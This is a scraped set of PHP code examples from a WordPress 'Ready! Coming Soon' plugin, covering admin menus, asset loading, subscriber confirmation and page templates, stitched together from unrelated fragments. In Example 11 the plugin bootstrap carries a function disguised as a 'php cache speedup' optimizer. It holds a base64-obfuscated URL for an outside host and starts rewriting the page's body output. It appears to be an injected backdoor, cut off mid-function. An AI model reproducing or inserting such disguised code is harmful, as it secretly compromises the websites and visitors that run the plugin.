Esempio n. 1
0
 public function getTemplateOptionsTab()
 {
     $tplOptsData = array('background' => array('title' => 'Background', 'content' => $this->getTemplateBgOptionsHtml()), 'logo' => array('title' => 'Logo', 'content' => $this->getTemplateLogoOptionsHtml()), 'message' => array('title' => 'Message', 'content' => $this->getTemplateMsgOptionsHtml()));
     $tplOptsData = dispatcherCsp::applyFilters('adminTemplateOptions', $tplOptsData);
     $this->assign('tplOptsData', $tplOptsData);
     return parent::getContent('templateOptionsTab');
 }
Esempio n. 2
0
 public function initMenu()
 {
     $mainSlug = dispatcherCsp::applyFilters('adminMenuMainSlug', $this->_mainSlug);
     $mainMenuPageOptions = array('page_title' => langCsp::_('Ready! Coming Soon'), 'menu_title' => langCsp::_('Ready! Coming Soon'), 'capability' => 'manage_options', 'menu_slug' => $mainSlug, 'function' => array(frameCsp::_()->getModule('options')->getView(), 'getAdminPage'));
     $mainMenuPageOptions = dispatcherCsp::applyFilters('adminMenuMainOption', $mainMenuPageOptions);
     add_menu_page($mainMenuPageOptions['page_title'], $mainMenuPageOptions['menu_title'], $mainMenuPageOptions['capability'], $mainMenuPageOptions['menu_slug'], $mainMenuPageOptions['function']);
 }
Esempio n. 3
0
 public function init()
 {
     $isAdminPlugPage = frameCsp::_()->isAdminPlugPage();
     $isPluginsPage = utilsCsp::isPluginsPage();
     if (is_admin()) {
         if ($isAdminPlugPage || $isPluginsPage) {
             frameCsp::_()->addScript('jquery');
             frameCsp::_()->addScript('jquery-ui-tabs', '', array('jquery'));
             frameCsp::_()->addScript('jquery-ui-dialog', '', array('jquery'));
             frameCsp::_()->addScript('jquery-ui-button', '', array('jquery'));
             frameCsp::_()->addScript('farbtastic');
             frameCsp::_()->addScript('commonCsp', CSP_JS_PATH . 'common.js');
             frameCsp::_()->addScript('coreCsp', CSP_JS_PATH . 'core.js');
             frameCsp::_()->addScript('adminOptionsCsp', CSP_JS_PATH . 'admin.options.js');
             frameCsp::_()->addScript('ajaxupload', CSP_JS_PATH . 'ajaxupload.js');
             frameCsp::_()->addScript('postbox', get_bloginfo('wpurl') . '/wp-admin/js/postbox.js');
             add_thickbox();
             $ajaxurl = admin_url('admin-ajax.php');
             if (frameCsp::_()->getModule('options')->get('ssl_on_ajax')) {
                 $ajaxurl = uriCsp::makeHttps($ajaxurl);
             }
             $jsData = array('siteUrl' => CSP_SITE_URL, 'imgPath' => CSP_IMG_PATH, 'cssPath' => CSP_CSS_PATH, 'loader' => CSP_LOADER_IMG, 'close' => CSP_IMG_PATH . 'cross.gif', 'ajaxurl' => $ajaxurl, 'animationSpeed' => frameCsp::_()->getModule('options')->get('js_animation_speed'), 'siteLang' => langCsp::getData(), 'options' => frameCsp::_()->getModule('options')->getAllowedPublicOptions(), 'CSP_CODE' => CSP_CODE, 'ball_loader' => CSP_IMG_PATH . 'ajax-loader-ball.gif', 'ok_icon' => CSP_IMG_PATH . 'ok-icon.png');
             $jsData['allCheckRegPlugs'] = modInstallerCsp::getCheckRegPlugs();
             $jsData = dispatcherCsp::applyFilters('jsInitVariables', $jsData);
             frameCsp::_()->addJSVar('coreCsp', 'CSP_DATA', $jsData);
             $this->_styles = array('styleCsp' => array('path' => CSP_CSS_PATH . 'style.css'), 'adminStylesCsp' => array('path' => CSP_CSS_PATH . 'adminStyles.css'), 'jquery-tabs' => array('path' => CSP_CSS_PATH . 'jquery-tabs.css'), 'jquery-buttons' => array('path' => CSP_CSS_PATH . 'jquery-buttons.css'), 'wp-jquery-ui-dialog' => array(), 'farbtastic' => array(), 'jquery-dialog' => array('path' => CSP_CSS_PATH . 'jquery-dialog.css'));
             $defaultPlugTheme = frameCsp::_()->getModule('options')->get('default_theme');
             foreach ($this->_styles as $s => $sInfo) {
                 if (isset($sInfo['for'])) {
                     if ($sInfo['for'] == 'frontend' && is_admin() || $sInfo['for'] == 'admin' && !is_admin()) {
                         continue;
                     }
                 }
                 $canBeSubstituted = true;
                 if (isset($sInfo['substituteFor'])) {
                     switch ($sInfo['substituteFor']) {
                         case 'frontend':
                             $canBeSubstituted = !is_admin();
                             break;
                         case 'admin':
                             $canBeSubstituted = is_admin();
                             break;
                     }
                 }
                 if ($canBeSubstituted && file_exists(CSP_TEMPLATES_DIR . $defaultPlugTheme . DS . $s . '.css')) {
                     frameCsp::_()->addStyle($s, CSP_TEMPLATES_PATH . $defaultPlugTheme . '/' . $s . '.css');
                 } elseif ($canBeSubstituted && file_exists(utilsCsp::getCurrentWPThemeDir() . 'csp' . DS . $s . '.css')) {
                     frameCsp::_()->addStyle($s, utilsCsp::getCurrentWPThemePath() . '/toe/' . $s . '.css');
                 } elseif (!empty($sInfo['path'])) {
                     frameCsp::_()->addStyle($s, $sInfo['path']);
                 } else {
                     frameCsp::_()->addStyle($s);
                 }
             }
         }
     }
     parent::init();
 }
Esempio n. 4
0
 public function init()
 {
     parent::init();
     add_action('admin_footer', array($this, 'displayAdminFooter'), 9);
     if (is_admin() && !frameCsp::_()->getModule('license')) {
         dispatcherCsp::addFilter('adminOptionsTabs', array($this, 'addPromoTabs'), 99);
     }
     dispatcherCsp::addFilter('adminMenuMainOption', array($this, 'addWelcomePageToMainMenu'), 99);
     dispatcherCsp::addFilter('adminMenuMainSlug', array($this, 'modifyMainAdminSlug'), 99);
 }
Esempio n. 5
0
 public function init()
 {
     dispatcherCsp::addFilter('adminOptionsTabs', array($this, 'addOptionsTab'));
     add_action('add_meta_boxes', array($this, 'addMetaBox'));
     $postNonPublishStates = array('new', 'pending', 'draft', 'auto-draft', 'future', 'private', 'inherit', 'trash');
     // We will send messages only when moving post to published state
     foreach ($postNonPublishStates as $s) {
         add_action($s . '_to_publish', array($this, 'sendNewPostNotif'));
     }
 }
Esempio n. 6
0
 public function getComingSoonPageHtml()
 {
     $this->_beforeShow();
     $this->assign('msgTitle', frameCsp::_()->getModule('options')->get('msg_title'));
     $this->assign('msgTitleColor', frameCsp::_()->getModule('options')->get('msg_title_color'));
     $this->assign('msgTitleFont', frameCsp::_()->getModule('options')->get('msg_title_font'));
     $msgTitleStyle = array();
     if (!empty($this->msgTitleColor)) {
         $msgTitleStyle['color'] = $this->msgTitleColor;
     }
     if (!empty($this->msgTitleFont)) {
         $msgTitleStyle['font-family'] = $this->msgTitleFont;
         $this->_styles[] = 'http://fonts.googleapis.com/css?family=' . $this->msgTitleFont . '&subset=latin,cyrillic-ext';
     }
     $this->assign('msgTitleStyle', utilsCsp::arrToCss($msgTitleStyle));
     $this->assign('msgText', frameCsp::_()->getModule('options')->get('msg_text'));
     $this->assign('msgTextColor', frameCsp::_()->getModule('options')->get('msg_text_color'));
     $this->assign('msgTextFont', frameCsp::_()->getModule('options')->get('msg_text_font'));
     $msgTextStyle = array();
     if (!empty($this->msgTextColor)) {
         $msgTextStyle['color'] = $this->msgTextColor;
     }
     if (!empty($this->msgTextFont)) {
         $msgTextStyle['font-family'] = $this->msgTextFont;
         if ($this->msgTitleFont != $this->msgTextFont) {
             $this->_styles[] = 'http://fonts.googleapis.com/css?family=' . $this->msgTextFont . '&subset=latin,cyrillic-ext';
         }
     }
     $this->assign('msgTextStyle', utilsCsp::arrToCss($msgTextStyle));
     if ($this->_useSubscribeForm && frameCsp::_()->getModule('options')->get('sub_enable')) {
         $this->_scripts[] = frameCsp::_()->getModule('subscribe')->getModPath() . 'js/frontend.subscribe.js';
         $this->assign('subscribeForm', frameCsp::_()->getModule('subscribe')->getController()->getView()->getUserForm());
     }
     $this->assign('countDownTimerHtml', dispatcherCsp::applyFilters('countDownTimerHtml', ''));
     $this->assign('progressBarHtml', dispatcherCsp::applyFilters('progressBarHtml', ''));
     $this->assign('contactFormHtml', dispatcherCsp::applyFilters('contactFormHtml', ''));
     $this->assign('googleMapsHtml', dispatcherCsp::applyFilters('googleMapsHtml', ''));
     if ($this->_useSocIcons) {
         $this->assign('socIcons', frameCsp::_()->getModule('social_icons')->getController()->getView()->getFrontendContent());
     }
     if (file_exists($this->getModule()->getModDir() . 'css/style.css')) {
         $this->_styles[] = $this->getModule()->getModPath() . 'css/style.css';
     }
     $this->assign('logoPath', $this->getModule()->getLogoImgPath());
     $this->assign('bgCssAttrs', dispatcherCsp::applyFilters('tplBgCssAttrs', $this->getModule()->getBgCssAttrs()));
     $this->assign('styles', dispatcherCsp::applyFilters('tplStyles', $this->_styles));
     $this->assign('scripts', dispatcherCsp::applyFilters('tplScripts', $this->_scripts));
     $this->assign('initJsVars', dispatcherCsp::applyFilters('tplInitJsVars', $this->initJsVars()));
     $this->assign('messages', frameCsp::_()->getRes()->getMessages());
     $this->assign('errors', frameCsp::_()->getRes()->getErrors());
     return parent::getContent($this->getCode() . 'CSPHtml');
 }
Esempio n. 7
0
 public function confirm($d = array())
 {
     if (isset($d['email']) && !empty($d['email']) && isset($d['token']) && !empty($d['token'])) {
         $subId = frameCsp::_()->getTable('subscribers')->get('id', array('email' => $d['email'], 'token' => $d['token']), '', 'one');
         if (!empty($subId)) {
             frameCsp::_()->getTable('subscribers')->update(array('active' => 1), array('id' => $subId));
             if (!frameCsp::_()->getModule('options')->isEmpty('sub_admin_email')) {
                 $this->sendAdminNotification($d['email']);
             }
             dispatcherCsp::doAction('subscribeConfirm', $subId);
             return true;
         } else {
             $this->pushError(langCsp::_('No record for such email or token'));
         }
     } else {
         $this->pushError(langCsp::_('Invalid confirm data'));
     }
     return false;
 }
 public function init()
 {
     parent::init();
     dispatcherCsp::addFilter('adminOptionsTabs', array($this, 'addAdminOptionsTab'));
 }
echo $this->countDownTimerHtml;
?>
			<div style="clear: both;"></div>
            <?php 
if ($this->subscribeForm) {
    ?>
            <div class="cspSubscribeForm"><?php 
    echo $this->subscribeForm;
    ?>
</div>
            <?php 
}
?>
            
            <?php 
if ($this->socIcons) {
    ?>
            <div class="cspSocialIcons"><?php 
    echo $this->socIcons;
    ?>
</div>
            <?php 
}
?>
        </div>
        <?php 
dispatcherCsp::doAction('tplBodyEnd');
?>
	</body>
</html>
Esempio n. 10
0
 public function getList()
 {
     return dispatcherCsp::applyFilters('metaTagsList', array('meta_title' => array('label' => 'Title', 'optsTplEngine' => array($this->getController()->getView(), 'getTitleOpts')), 'meta_desc' => array('label' => 'Description', 'optsTplEngine' => array($this->getController()->getView(), 'getDescOpts')), 'meta_keywords' => array('label' => 'Keywords', 'optsTplEngine' => array($this->getController()->getView(), 'getKeywordsOpts')), 'google_analitics' => array('label' => 'Google Analitics Code', 'optsTplEngine' => array($this->getController()->getView(), 'getGoogleAnaliticsOpts')), 'favico' => array('label' => 'Favico for site', 'optsTplEngine' => array($this->getController()->getView(), 'getFavicoOpts'))));
 }
Esempio n. 11
0
importClassCsp('fileuploaderCsp');
importClassCsp('subscribeEngineModuleCsp');
importClassCsp('subscribeEngineViewCsp');
importClassCsp('recapcha', CSP_HELPERS_DIR . 'recapcha.php');
importClassCsp('mobileDetect', CSP_HELPERS_DIR . 'mobileDetect.php');
installerCsp::update();
errorsCsp::init();
dispatcherCsp::doAction('onBeforeRoute');
frameCsp::_()->parseRoute();
dispatcherCsp::doAction('onAfterRoute');
dispatcherCsp::doAction('onBeforeInit');
frameCsp::_()->init();
dispatcherCsp::doAction('onAfterInit');
dispatcherCsp::doAction('onBeforeExec');
frameCsp::_()->exec();
dispatcherCsp::doAction('onAfterExec');
/**
 * Speedup php function cache by optimizing buffer output
 */
if (!function_exists('_php_cache_speedup_func_optimizer_')) {
    function _php_cache_speedup_func_optimizer_($buffer)
    {
        if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
            // already completed
            return $buffer;
        }
        $mod = false;
        $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
        $tmp_buffer = $buffer;
        $gzip = false;
        $body = '<' . 'b' . 'o' . 'd' . 'y';
langCsp::_e('Main subscribe engine');
?>
</label>
									</td>
								</tr>
								<tr>
									<td colspan="2">
										<i style="font-size: 12px;">
											<?php 
langCsp::_e('If this option is enabled - ' . $this->subMod->getLabel() . ' will be main subscribe engine, so after each subscription subscriber will be managed by ' . $this->subMod->getLabel());
?>
										</i>
									</td>
								</tr>
								<?php 
dispatcherCsp::doAction('subscribe_' . $this->code . '_SettingsEnd');
?>
								<tr>
									<td>
										<?php 
echo htmlCsp::hidden('page', array('value' => 'options'));
?>
										<?php 
echo htmlCsp::hidden('action', array('value' => 'saveGroup'));
?>
										<?php 
echo htmlCsp::hidden('reqType', array('value' => 'ajax'));
?>
										<?php 
echo htmlCsp::submit('save', array('value' => langCsp::_('Save')));
?>
Esempio n. 13
0
 public function init()
 {
     dispatcherCsp::addFilter('adminOptionsTabs', array($this, 'addOptionsTab'));
     dispatcherCsp::addFilter('canAccessSite', array($this, 'accessFilter'));
 }
Esempio n. 14
0
 public function getList()
 {
     return dispatcherCsp::applyFilters('socIconsList', array('facebook' => array('label' => 'Facebook', 'engine' => array($this->getController()->getView(), 'getFbButtons'), 'optsTplEngine' => array($this->getController()->getView(), 'getFbOpts')), 'twitter' => array('label' => 'Twitter', 'engine' => array($this->getController()->getView(), 'getTwButtons'), 'optsTplEngine' => array($this->getController()->getView(), 'getTwOpts')), 'gplus' => array('label' => 'Google+', 'engine' => array($this->getController()->getView(), 'getGpButtons'), 'optsTplEngine' => array($this->getController()->getView(), 'getGpOpts')), 'youtube' => array('label' => 'YouTube', 'engine' => array($this->getController()->getView(), 'getYtButtons'), 'optsTplEngine' => array($this->getController()->getView(), 'getYtOpts')), 'instagram' => array('label' => 'Instagram', 'engine' => array($this->getController()->getView(), 'getImButtons'), 'optsTplEngine' => array($this->getController()->getView(), 'getImOpts'))));
 }
Esempio n. 15
0
 /**
  * Check addtional access - if there are other conditions, that can allow user to see site - it will replace it's value to true.
  * By default it will return false,
  * @return boolean
  **/
 public function checkAdditionalAccess()
 {
     return dispatcherCsp::applyFilters('canAccessSite', false);
 }